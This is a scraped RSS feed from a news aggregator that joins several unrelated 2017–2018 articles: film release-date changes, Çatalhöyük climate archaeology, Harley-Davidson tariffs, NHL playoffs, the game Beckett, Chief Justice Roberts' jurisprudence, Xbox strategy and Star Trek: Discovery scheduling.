Wrapping up the end of 2018 will be Holmes and Watson, the comedic take on Sherlock Holmes starring Will Ferrell and John C. Reilly. The film directed by Tropic Thunder writer Etan Coen was originally slated to arrive on November 9, 2018, but it’s been bumped back for a holiday release of December 21, 2018. Perhaps the studios sees more success for families to see the film while they’re home for Christmas.

Finally, Sony Pictures has given an April 26, 2019 release date to The Intruder, a new psychological thriller from director Deon Taylor. The film stars Michael Ealy and Meaghan Good as a married couple who buys a beautiful Napa Valley home only to find that the man they bought it from (Dennis Quaid) refuses to let go of the property. Oh, and he slowly terrorizes them. How fun!

 

The post Sony Shifts Release Dates for James Gunn’s ‘BrightBurn’, ‘Holmes and Watson’ & More appeared first on /Film.

]]> https://briefnews.eu/sony-shifts-release-dates-for-james-gunns-brightburn-holmes-and-watson-more/feed/ 0 Archaeologists use ancient dirty dishes to reconstruct climate shifts https://briefnews.eu/archaeologists-use-ancient-dirty-dishes-to-reconstruct-climate-shifts/ https://briefnews.eu/archaeologists-use-ancient-dirty-dishes-to-reconstruct-climate-shifts/#respond Tue, 14 Aug 2018 05:55:07 +0000 http://briefnews.eu/archaeologists-use-ancient-dirty-dishes-to-reconstruct-climate-shifts/

Enlarge / Artist’s reconstruction of the east and west mounds at Çatalhöyük. In the foreground, you can see the newer west mound, with the older east mound decaying in the background. (credit: Çatalhöyük Research Project)

Around 8,200 years ago, melting glaciers poured fresh, cold water into the North Atlantic, causing the climate in Europe and Southwest Asia to turn suddenly colder and drier for about the next 160 years. Evidence of that event shows up in ice cores from Greenland, tree rings and lake sediments in Europe, and lake sediments and peat deposits in Southwest Asia.

How did it affect people who were only beginning to adapt to agriculture? Archaeologists can’t confidently link what was happening at an archaeological site, like Çatalhöyük in Turkey, with what pollen and oxygen isotopes say was happening 160km (99.4 miles) away at Lake Nar, because local conditions can vary.

New chemical analysis of animal-fat residue in broken pottery has now given us a clearer look at how changes in the North Atlantic impacted life at Çatalhöyük. Local climate turned slightly cooler year-round and noticeably drier in the summer, which would have reduced crop yields and food availability for local farmers’ cattle and goats. Equipped with direct evidence of local climate shifts, archaeologists examined artifacts at the site to understand how people coped with the lean times.

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]]> https://briefnews.eu/archaeologists-use-ancient-dirty-dishes-to-reconstruct-climate-shifts/feed/ 0 Harley-Davidson shifts some production out of America https://briefnews.eu/harley-davidson-shifts-some-production-out-of-america/ https://briefnews.eu/harley-davidson-shifts-some-production-out-of-america/#respond Fri, 29 Jun 2018 04:33:44 +0000 http://briefnews.eu/harley-davidson-shifts-some-production-out-of-america/


On their bikes

AMERICAN companies “will react and they will put pressure on the American administration to say, ‘Hey, hold on a minute. This is not good for the American economy.’” So said Cecilia Malmström, the European Union’s trade commissioner, on news that Harley-Davidson plans to move some production out of America to avoid tariffs imposed by the EU on motorcycles imported from America. Those tariffs had themselves been introduced in retaliation for American duties on steel and aluminium imports.

President Donald Trump showed no signs of absorbing this salutary lesson. In one of many splenetic tweets about Harley, he said: “If they move, watch, it will be the beginning of the end.” Other American firms are no doubt watching. Will any follow?

Harley is unusually vulnerable to Mr Trump’s escalating trade war. Not only have its inputs, namely metals, risen in price, but it makes a fair chunk of its sales, 16%, in Europe. It puts the cost of…

]]> https://briefnews.eu/harley-davidson-shifts-some-production-out-of-america/feed/ 0 'We like our road game': Jets confident as series shifts to Vegas https://briefnews.eu/we-like-our-road-game-jets-confident-as-series-shifts-to-vegas/ https://briefnews.eu/we-like-our-road-game-jets-confident-as-series-shifts-to-vegas/#respond Wed, 16 May 2018 00:56:56 +0000 http://briefnews.eu/we-like-our-road-game-jets-confident-as-series-shifts-to-vegas/

The Jets won't be flying to Nevada carrying a heavy load of anger or desperation.

After Monday's 3-1 loss to the Vegas Golden Knights tied the Western Conference final best-of-seven series at one game apiece, the Winnipeg players were taking their lumps and confidently looking ahead to Wednesday's Game 3.

"We'll be ready to bounce back," veteran Jets centre Paul Stastny said after the loss. "That's playoff hockey, right?

"You win one and all of a sudden they get one and we lose one. You think you have the momentum. We view this as it's a fresh start."

The Jets are 4-2 on the road during these NHL playoffs, winning once in Minnesota in the opening round against the Wild. They upped that to three wins away from home versus the Predators, including a series-clinching Game 7 victory.

The Nashville clash had also been knotted 1-1 and 2-2.

Winnipeg Jets head coach talks to the media after 3-1 loss to Vegas Golden Knights. 1:02

"I don't think anybody is panicking," Jets defenceman Jacob Trouba said. "We've been here before.

"It's a long series. We're going to go to Vegas. We like our road game, we like where it was in the Nashville series and we're going to try and bring the same effort."

The Jets were 1-1-1 against the Golden Knights during the regular season. They lost 5-2 in Vegas in November, won 7-4 at home the next month and lost 3-2 in overtime in Winnipeg in February.

The expansion Vegas squad quelled doubters in the first round with a sweep of Los Angeles. They moved on to eliminate San Jose in six games.

"We know their crowd's going to be excited," Stastny said. "They're going to feed off that, but we've played in hostile environments.

"We know how to play on the road."

Vegas defeats Winnipeg 3-1, series tied 1-1. Jonathan Marchessault scores twice. 1:26

Vegas went up 2-0 in a four-minute span late in the first period Monday. Jets rookie Kyle Connor squeezed it 2-1 early in the third, but Jonathan Marchessault regained the two-goal lead 1:28 later with the top-line winger's second of the game.

"They're opportunistic, kind of in the same sense we can be," Trouba said. "If you give them a little light or a little day, they're going to take advantage of it.

"It didn't really matter what line it is, each line brings a little something different to the table and they can all rattle around in the offensive zone."

Jets captain Blake Wheeler said the team, which was practising in Vegas late Tuesday afternoon, needs to improve its response.

Vegas Golden Knights forward scored 2 goals in Game 2 victory over Winnipeg Jets. 1:03

"We've just got to stay with it better, realize that they have some guys on their team that can make plays as well," he said.

"There's going to be moments in this series where they get scoring chances. They're going to create some momentum and put the puck in the net. It's just a matter of how you react to it."

Despite the loss, it was the kind of game he enjoys.

"That was a playoff type game. Heavy on both sides," Wheeler said. "Outside of the few minutes there, it was back and forth. It was a great hockey game."

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]]> https://briefnews.eu/we-like-our-road-game-jets-confident-as-series-shifts-to-vegas/feed/ 0 Beckett Is Surreal Noir That Shifts Based On How you Interact With Its Story & World https://briefnews.eu/beckett-is-surreal-noir-that-shifts-based-on-how-you-interact-with-its-story-world/ https://briefnews.eu/beckett-is-surreal-noir-that-shifts-based-on-how-you-interact-with-its-story-world/#respond Sat, 31 Mar 2018 22:54:49 +0000 http://briefnews.eu/beckett-is-surreal-noir-that-shifts-based-on-how-you-interact-with-its-story-world/ ss_0b71468b9451ba3e76d838b30dbf647c843a02ac.1920x1080.jpg

Beckett is a detective game about a missing persons investigator on the lookout for someone who’s suffering from a “reality-altering illness”. This will lead the detective, Beckett, into a world where reality is falling apart and life is consumed by the surreal, forcing players to grasp at meaning and imagination to fill in the gaps in this unsettling, yet compelling, journey.

Players will work through the narration of the game’s storyline, forcing players to reconstruct events from the fragments, visions, and interactions they find within Beckett‘s world. As they do so, a story may emerge in their own minds, making them take part in the quagmire of reality that the game offers, leaving a part of themselves in the narrative along the way. It is the player’s take on the meaning of events, shaped by their own lives mingling with that of the game itself, that shape it, after all, the two shifting as they move in tandem.

Beckett is designed to respond to how you interact with it, drawing the player into its absurdist nightmare, pulling them ever forward through their curiosity. It’s an intriguing game that pulls the participant in through their curiosity, but what secrets and meanings will you find that are specific to you? As you play Beckett, what will it play back through your presence within it?


Beckett is available for $ 9.99 on Steam. For more information on the game and developer The Secret Experiment, you can head to the game’s site, the developer’s site, or follow them on Facebook, Instagram, and Twitter.

]]> https://briefnews.eu/beckett-is-surreal-noir-that-shifts-based-on-how-you-interact-with-its-story-world/feed/ 0 Subtle Shifts ⚖️ https://briefnews.eu/subtle-shifts-%e2%9a%96%ef%b8%8f/ https://briefnews.eu/subtle-shifts-%e2%9a%96%ef%b8%8f/#respond Mon, 22 Jan 2018 05:31:37 +0000 http://briefnews.eu/subtle-shifts-%e2%9a%96%ef%b8%8f/


Win Mcnamee / Getty Images

Chief Justice John Roberts last year.

WASHINGTON — Thirteen years into the job, Chief Justice John G. Roberts Jr. remains a conservative — but he has shifted to a more moderate position among the conservative justices on the court, a small change with potentially dramatic consequences.

Among the justices appointed by Republican presidents, Roberts agreed least with Justice Anthony Kennedy in Roberts’ first two terms leading the court — and the most with Kennedy in the two most recently completed terms.

That kind of shift could have significant effects on how the current court decides major issues and — if it represents a permanent change — on how Roberts leads the court into the next decade.

President George W. Bush nominated Roberts to be the next chief justice of the United States in 2005 when William Rehnquist died. Roberts had been a clerk for Rehnquist and was a former Reagan administration Justice Department official who later worked in the White House counsel’s office, meaning conservatives had — and many still have — high expectations for Roberts to lead the court in a staunchly conservative direction. And that’s still true on many matters, from high-profile cases on abortion and affirmative action to those involving economics and business concerns.

But a more complicated picture emerges when the past few years are closely examined, even on some of the more divisive issues before the court. Roberts has found himself moving ever so slightly away from the doctrinaire conservative position he held when he started on the high court — having shown repeated interest in taking actions that are aimed at protecting the institutional integrity of the court and governmental stability more broadly, in the court’s approach to the Affordable Care Act and by its handling of the marriage equality cases.

It is not necessarily an ideological shift; it could be seen as a pragmatic, or even protective, move. It also is not yet clear if this movement from Roberts is a long-term change or a temporary shift in response to the current ideological split on the court — or even the dynamics of the Trump candidacy and presidency.

After all, Roberts’ very being is — within the conservative world — a type of anti-Trump. While President Trump came into office on a promise of “draining the swamp,” Roberts was a federal appellate judge in DC before his nomination to the high court and he had served in the two prior Republican administrations before that.

Trump is a constant presence on TV and Twitter; Roberts is not (and runs a court that has no video of its proceedings and delays the release of audio so it can’t appear in news coverage of the day’s arguments).

And, perhaps most importantly, as Trump takes aim at institutions across Washington, Roberts, in his dozen years on the Supreme Court, has shown an affinity for taking actions to protect governmental institutions — an affinity that has only grown in recent years.

Now, with the addition of Justice Neil Gorsuch to the high court, the reformulated nine-person bench is deep in its hearings for Roberts’ 13th term leading the Supreme Court, and it is unclear how the court will resolve key questions about balancing religious liberty and nondiscrimination laws, the consideration of political and racial gerrymandering claims, the application of the Fourth Amendment in the “cloud” age, and more.

More than three months into the new term, the justices have issued only one opinion from an argued case — a unanimous decision in which Justice Ruth Bader Ginsburg wrote the opinion. Adam Feldman at Empirical SCOTUS noted in December that you’d have to go back to 1869 to find a term when the court didn’t issue its second opinion until January.

While the court obviously has given no reason for the dearth of opinions, it does mean that opinions haven’t been ready. And if opinions aren’t ready, that means that there are difficulties either resolving a few key cases or resolving many cases. Difficulties could range from something as significant as a situation where the court is split three (or more!) ways on how to resolve a case and unable to reach a majority opinion, to something as minor as continued disputes between the authors of drafts of the court’s majority opinion and justices’ dissenting opinions.

These opinions, once the court starts issuing them as early as Monday, could tell us much more about the direction of the court — and what is driving Chief Justice John Roberts, one of the most important people in in America.


Charles Dharapak / ASSOCIATED PRESS

Statistics from Roberts’ first dozen terms on the high court show a growing willingness to be less doctrinaire in his conservatism — particularly in order to agree with Justice Anthony Kennedy.

For his first eight terms on the court, Roberts agreed most with Justice Samuel Alito (one of the staunchest conservatives on the court), according to statistics compiled by SCOTUSblog.

For three of the past four terms, he agreed most with Kennedy.

(The SCOTUSblog statistics lay out the percentages of times when the justices agreed with one another on three levels: (1) agree in part, all, or judgment; (2) agree in part or all; and (3) full agreement.)

It’s not just that Roberts is agreeing more with Kennedy; he’s agreeing with some of the more liberal justices more and the more conservative justices less.

In three of those recent terms, Roberts agreed with Justice Stephen Breyer, at least in judgment, in the same percentage of cases as he agreed with one of the more conservative justices (Alito twice and Justice Clarence Thomas once). In two terms, he agreed with Justice Elena Kagan more than he did with one of the more conservative justices (Alito in one instance and Thomas in another).

(This is not necessarily all Roberts’ doing. Breyer is by no means an unbending liberal vote on the court, and Kagan has shown a similar tendency in her time on the court.)

Roberts still disagrees with Kennedy and even more often with Breyer and Kagan — sometimes in key cases, often in ideologically divided cases — but the movement is there.

Statistics only give part of the picture, though. In some of Roberts’ most prominent legal moves — and in some more quiet ways — on the Supreme Court itself, he has etched out a position of conservatism that sometimes values the interests and stability of the Supreme Court and federal government more broadly to a greater degree than political conservatives might wish to see.

In 2012, Roberts famously — or infamously, in some corners — joined the more liberal members of the court in upholding the Affordable Care Act’s individual mandate, a move that kept the court from striking down one of the most significant pieces of legislation passed by Congress and signed by the president in recent decades. Three years later, joined by Kennedy this time, Roberts again protected Obamacare from court-imposed destruction — upholding the insurance subsidies implemented under the law nationwide. Those moves provoked outrage on the right that continued through to the 2016 Republican presidential primary. But those decisions also can also be read as Roberts trying to prevent governmental instability by deferring, ultimately, to the other branches of government. (Notably, Roberts similarly voted against overturning the decisions of the other branches of government in one of the prominent times when he disagreed with Kennedy in writing in recent years — the 2013 challenge to the Defense of Marriage Act.)

In the marriage cases themselves, it likely was Roberts who helped avoid a constitutional scenario in which the court would have been seen as being “responsible” for expanding the rights of same-sex couples to marry in roughly 60% of the country. Instead, the ultimate June 2015 ruling changed the law on the ground in only about 25% of the country. Whether it was based on a hope that the court could avoid the matter altogether through unanimity at the lower courts or was just an effort to delay a ruling from the high court, the Supreme Court made a series of moves that suggests a strategy of minimizing the amount of disruption seen as coming from the high court. The court that decided to hear the case over California’s Proposition 8 marriage amendment in December 2012 also decided against taking up the appeals from several other states in October 2014. That decision, in turn, expanded the number of states with marriage equality dramatically by the time the Supreme Court later agreed to hear appeals from same-sex couples in other states in April 2015. Although Justices Antonin Scalia and Clarence Thomas made it clear that they believed the court should have heard the October 2014 cases, at least Roberts or Alito (or both of them) must have voted against doing so at that time. Although we can’t, at this date, be certain that Roberts cast a vote allowing that marriage equality expansion, there is much more reason to believe that Roberts — with his institutional concerns — would have voted to do so than Alito.

Finally, when it comes to the death penalty, Roberts has shown a willingness to go along with Kennedy — or, at the least, not voice his opposition — on a handful of capital cases in which the court sided with death-row inmates. This does not mean he always votes against the death penalty. Instead, it means merely that he has shown a willingness to consider tossing out death sentences in certain cases in which Kennedy himself has clear concerns. In each of the past two terms, Roberts has authored a majority opinion siding with a death-row inmate. (Neither Thomas nor Alito joined either opinion.) In recent years, he also has agreed with (or at least not voiced his dissent to) per curiam decisions siding with death-row inmates — cases in which Thomas and Alito, and now Gorsuch, regularly voiced their dissent. Even where Roberts disagreed with Kennedy in the resolution of one of the court’s capital cases in recent years — over the way states determine who is intellectually disabled and thus exempt from the death penalty — Roberts agreed with Kennedy (and the court majority) that the test at issue used by Texas was improper. (There was one instance in which Roberts joined the more liberal justices to halt an execution where Kennedy did not do so, but that was a stay of execution in which Roberts made clear he was only doing so as a “courtesy” to the four justices who wanted to consider whether to grant certiorari in an inmate’s case. They ultimately did not, and the man has since been executed.)

Even the court’s approach to Trump’s travel bans have shown a desire to avoid the most contentious outcomes for the court — and the public — through its orders. This was most notably achieved in the order from June 2017 that allowed the partial implementation of the second ban while allowing those with ties to the US to be exempted from it — an order that allowed each side to claim some semblance of victory and pushed off any merits consideration that could be less malleable to compromise. Notably, Thomas, Alito, and Gorsuch wrote to say they would have allowed the full ban to go into effect — a statement that neither Roberts nor Kennedy joined.


Win Mcnamee / Getty Images

Roberts walks out of the Supreme Court with Neil Gorsurch last year.

As the Supreme Court moves forward into 2018, it is clear that Chief Justice John Roberts is attuned to the complexities of the time in which he is leading the high court.

With the unpredictability that Trump has brought to government and Washington — which followed the year of instability that the court itself faced following Scalia’s death — Roberts has sought out a path of compromise and comity that is in fitting with the institutionalist conservatism that his marked his approach to his role on the court.

This path is most clearly seen through Roberts’ record of siding with Kennedy slightly more often in recent years — helping to anchor a center on the court that I have described previously as being used to Roberts’ advantage particularly well when the court was down to eight members.

Of course, a court without Kennedy or one of the more liberal members of the current Supreme Court would test the longevity of and perhaps illuminate the reasons for this shift — given that such a vacancy, should it come in the near future at least, likely would lead to a more dramatic rightward shift on the court (and, possibly, place Roberts in the unusual and powerful position of being both the “swing vote” justice and the chief justice).

Now, though, on the current court, controversial topics already are making their way to the justices — some the result of governing decisions from the Trump administration or state governments, others urged by liberal or conservative legal advocates — with more on their way. In addition to cases over wedding cakes — addressing religious liberty and nondiscrimination laws — and elections — from partisan gerrymandering to racial gerrymandering — the court has now agreed to hear arguments this spring over Trump’s third attempt at his travel ban. Additionally, petitions are pending before the justices asking them to hear cases over the administration’s policies regarding undocumented teenagers in federal custody who are seeking abortions and over Arizona’s death penalty law.

And, again, the court has thus far released only one opinion in an argued case — a peculiarity that has stuck out more and more with each passing week but could change on Monday.

All of this suggests that Roberts, who has taken the court through several uncertain years with a remarkable stability, is now facing his greatest challenge yet — whether he can balance his own conservative legal beliefs, slightly shifting as they appear to be, and his institutional concerns in leading a court that leans conservative in the Trump era and, if so, how. ●

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Chris Geidner is the legal editor for BuzzFeed News and is based in Washington, DC. In 2014, Geidner won the National Lesbian & Gay Journalists Association award for journalist of the year.

Contact Chris Geidner at chris.geidner@buzzfeed.com.

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Enlarge / A lot of tech packed into this svelte box. (credit: Kyle Orland)

Microsoft is renewing its focus on Xbox software and services, according to Xbox chief Phil Spencer speaking to Bloomberg.

The company’s original ambition for the Xbox One spanned not just gaming but also a wide range of TV and media capabilities, coupled with a Steam-like download-based distribution model. Sony, in contrast, focused squarely on gaming and had somewhat more powerful hardware to boot. The reaction from the gaming community to Microsoft’s plans was hostile, and while the company backtracked both on the media focus and the move away from physical media, the Xbox One has consistently trailed the PlayStation 4’s sales.

Microsoft’s position was further weakened by a shortage of first-party, exclusive titles. As Nintendo has demonstrated over the years, a solid stable of first-party titles can go a long way toward overcoming hardware weaknesses. But rather than expanding its development efforts, Microsoft has done the reverse: last year it shuttered UK developer Lionhead and Danish developer Press Play.

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Ars Technica

]]> https://briefnews.eu/microsoft-will-have-game-streaming-within-3-years-as-focus-shifts-to-software/feed/ 0 ‘Star Trek: Discovery’ Shifts Its Season Around and Will Now Debut 9 Episodes in 2017 https://briefnews.eu/star-trek-discovery-shifts-its-season-around-and-will-now-debut-9-episodes-in-2017/ https://briefnews.eu/star-trek-discovery-shifts-its-season-around-and-will-now-debut-9-episodes-in-2017/#respond Wed, 04 Oct 2017 19:02:51 +0000 http://briefnews.eu/star-trek-discovery-shifts-its-season-around-and-will-now-debut-9-episodes-in-2017/ Star Trek Discovery season 1

When a creator/showrunner bails on a show before it airs and its release date gets pushed back multiple times, those are normally pretty large red flags that a TV series may be in trouble. But despite the rocky start coming out of the space dock, it seems as if Star Trek: Discovery has leveled out nicely so far. The new series experienced excellent word of mouth after its premiere, and now CBS has decided to shift its first season around to include one more episode in 2017 before it takes a break and returns with the second half of season one.

Back in June when Discovery’s final premiere date was announced, CBS planned to debut its fifteen episode first season in two parts, with eight episodes airing this year and the remaining seven debuting in January of 2018. But now that’s changed: CBS has decided to make the first nine episodes available to air this year, with a new episode going online through the CBS All Access subscription streaming service on Sunday nights between now and November 12, 2017. The second batch of six episodes will still arrive in January as planned.

Whether this shift has anything to do with the show’s positive reception so far (read two reviews of the premiere here and here) or whether it’s simply the result of the showrunners and writers maneuvering their episode structure around to better tell their intended story is unclear, but I’m guessing it’s the latter.

As much as I personally bristle at the requirement of subscribing to a new streaming platform specifically to watch this one show, it’s a move that’s apparently paid off for CBS. Variety says the network was “able to almost double the mobile subscription revenue” for All Access thanks to the premiere of Discovery, and the number of downloads of the All Access app grew by two and a half times after the premiere.

Marc DeBevoise, the president of CBS Interactive, proudly explained:

“Consumer response to the launch of Star Trek: Discovery has been tremendous. The build up to the show’s premiere led us to a record-setting month, week and ultimately day of sign-ups. The second week of the series has also exceeded our expectations and is a credit to the brilliant and dedicated work of the show’s entire creative team and cast. We can’t wait for fans to see what comes next for the U.S.S. Discovery and its crew.”

TrekMovie points out that CBS also praises Discovery as “the most streamed premiere of a CBS show across their digital platforms on record, measured against all CBS programming – both in front of and behind the CBS All Access paywall.” Those may sound like impressive numbers, but really – how many people were downloading that app or subscribing to the service before this show came out anyway? I still think they made a mistake by not having this be a primetime broadcast series that everyone can watch, but we’ll see if the show can continue to generate strong buzz even behind its paywall as its first season goes where no Trek series has gone before.

The post ‘Star Trek: Discovery’ Shifts Its Season Around and Will Now Debut 9 Episodes in 2017 appeared first on /Film.

/Film

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